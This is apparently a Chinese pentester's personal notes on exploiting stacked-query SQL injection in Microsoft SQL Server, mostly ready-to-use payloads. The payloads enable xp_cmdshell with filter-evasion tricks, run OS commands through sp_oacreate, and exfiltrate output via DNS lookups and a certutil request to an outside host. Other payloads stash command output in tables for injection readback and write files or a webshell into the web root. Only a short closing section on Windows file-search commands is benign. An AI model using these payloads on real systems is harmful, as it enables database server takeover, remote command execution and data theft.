为那个研究怎么在站库分离情况下利用MSSQL注入漏洞的通宵,补充一点笔记。
存在堆叠注入
test';WAITFOR DELAY '0:0:5';--00
开启XP_cmdshell
原始命令
select * from master.dbo.sysobjects where xtype='x' and name like 'xp_%'
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
payload举例
1';\nexec+sp_configure+'show+advanced+options',1;\nreconfigure;\ndeclare+@cmd+varchar(128);\nset+@cmd+=+(\nselect+'xp_cm'%252b'dshell');\nexec+sp_configure+@cmd,1;\nreconfigure;----000
另一种命令执行实例
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\Windows\\Temp\\sqltest2.txt';
无回显
法1:dnslog
1';\nexec+\nxp_cmdshell+'nslookup+1.kokoisko.dnslog.cn+114.114.114.114';---000
无回显,不出网:
法2:存储执行命令结果到数据库
创建表sqlioutput,暂存数据
#表1:仅数据列
create table sqlioutput(data varchar(max));
#表2:带ID排序
test';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
执行命令
#表1:仅数据
insert into sqlioutput exec xp_cmdshell 'whoami&&ipconfig';
#表2:带ID排序,16进制字符串转码
DECLARE @gqrl VARCHAR(8000);
SET @gqrl=0x77686f616d69;
INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @gqrl--
读取执行结果
#表1读法
1'AND substring((\nselect * \nfrom sqlioutput FOR XML PATH('')),0,3000)=1;----000
#表2读法
test' UNION ALL SELECT NULL,NULL,(SELECT data FROM sqlioutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES),NULL,NULL--
清空暂存表
#清数据
TRUNCATE TABLE sqlioutput;
#或清数据
DELETE FROM sqlioutput;
#完全删表
DROP FROM sqlioutput;
站库不分离:
法3:查找网站路径写入webshell
在D盘全盘查找名称为website的文件或文件夹
dir d:\website /s /b
写入文件到目录,带中文的路径要UTF8转码。
echo gggg^<^>gg > d:/www12.html
重定向符号要做两次URL转码。并时刻留意命令行输出情况,正常写入命令行是无输出的。
echo+ggg+%25%33%65%25%33%65+d:\\chengxu%u5305\\output\\www22.html
不出网靠报错回显,是哪里错哪里停,后面不执行。所以不能寄望一次报错注入请求就能查看命令执行情况?
不过,在出网的时候可以参考下面语句,挺优雅。
declare @r varchar(4120),@cmdOutput varchar(4120);
declare @res TABLE(line varchar(max));
insert into @res exec xp_cmdshell 'COMANDO';
set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64);
set @r=concat('certutil -urlcache -f https://redteam/',@cmdOutput);
exec xp_cmdshell @r;
Tips
简单绕过关键字过滤
\nselect
\nfrom
大小写aNd
1e0or
改写xp_cmdshell
declare @cmd varchar(128) ;
set @cmd = (select 'xp_cm'+'dshell') ;
exec sp_configure @cmd,1;
MSSQL字符串拼接
execute('sel'%2b'ect convert(int,@@version)');
select concat('sel','ect');
IIS默认网站目录,C:\inetpub\wwwroot
Windows命令行查找文件
1、在cmd中查找文件,例如在c盘下查找3.txt
dir c:\3.txt /s /b
/s 显示指定目录和所有子目录中的文件。
/b 使用空格式(没有标题信息或摘要)。
2、查找d盘aaa目录下包含abc的所有文件
findstr /s /n "abc" d:\aaa\*
/s 在当前目录和所有子目录中搜索匹配文件。
/n 在匹配的每行前打印行数。
3、查找可执行文件使用where命令,类似linux下的which命令
where cmd
4、文件中搜索字符串
find /N /I "pid" 555.txt
//在5.txt文件中忽略大小写查找pid字符串,并带行号显示查找后的结果
/N 显示行号。
/I 搜索字符串时忽略大小写。
/C 仅显示包含字符串的行数。
/V 显示所有未包含指定字符串的行。